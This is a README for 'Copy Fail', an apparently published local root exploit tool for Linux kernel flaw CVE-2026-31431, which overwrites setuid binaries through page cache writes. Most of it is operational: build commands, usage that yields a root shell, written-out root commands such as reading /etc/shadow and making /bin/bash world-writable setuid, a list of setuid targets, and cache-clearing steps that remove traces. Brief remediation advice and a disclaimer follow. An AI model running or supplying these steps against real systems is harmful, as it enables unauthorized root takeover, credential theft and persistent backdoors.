CVE-2026-31431 Copy Fail Exploit

Linux kernel page cache poisoning exploit tool with support for non-interactive command execution.

Vulnerability Overview

CVE-2026-31431 is a logic flaw in the Linux kernel, present in the authesn AEAD algorithm implementation. Through the AF_ALG and splice() system call chain, an attacker can write 4 bytes of data to the page cache of any readable file.

Affected scope:

• Linux kernel 4.14+ (2017 - April 2026)
• Nearly all major distributions: Ubuntu, Debian, CentOS, RHEL, Amazon Linux, etc.

Vulnerability characteristics:

• 100% reliable, no race condition required
• No kernel offset calculation needed
• The same binary works across all distributions
• Does not modify files on disk, only poisons the memory cache

File Description

.
├── copyfail_universal.c    # Main POC source code (statically compiled, no libc dependency)
├── copyfail_universal      # Compiled binary
├── run_cmd.sh              # Non-interactive execution wrapper script
├── Makefile                # Build script
└── README.md               # This document

Compilation

# Method 1: Using gcc and ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# Method 2: Using Makefile
make

Usage

Interactive Root Shell

./copyfail_universal

Non-interactive Command Execution

# Method 1: Using the wrapper script (recommended)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# Method 2: Via pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# Method 3: Using environment variables
CMD='whoami' ./copyfail_universal

Specifying a Different setuid Target

# Default target is /usr/bin/su
# Other targets can be specified by modifying the path variable in the source code

# Common available targets:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

Automatic Recovery

The exploit only modifies the page cache, not files on disk. Run the following command to recover:

sync; echo 3 > /proc/sys/vm/drop_caches

The run_cmd.sh script has built-in automatic recovery functionality.

Example Output

$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

Affected setuid Programs

Find all setuid programs on the system:

find / -perm -4000 -user root -type f 2>/dev/null

Remediation Recommendations

1. Update the kernel - Upgrade to a kernel version containing patch a664bf3d603d

2. Temporary mitigation - Disable the algif_aead module:

   root@kitploit:~

   echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
   rmmod algif_aead 2>/dev/null || true
   

3. Container environments - Use seccomp to block AF_ALG socket creation

Technical Details

• Vulnerability type: Out-of-bounds page cache write
• Root cause: authesn uses the destination buffer as temporary storage, writing 4 bytes beyond the boundary
• Exploitation method: Pass page cache pages into the crypto subsystem via splice()
• Write capability: Can write 4 bytes to the page cache of any readable file per operation

Disclaimer

This tool is intended for security research and authorized testing only. Using this tool against unauthorized systems is illegal. Users assume all legal responsibility.

References

• CVE-2026-31431 Write-up
• Xint Blog - Copy Fail
• GitHub - Official POC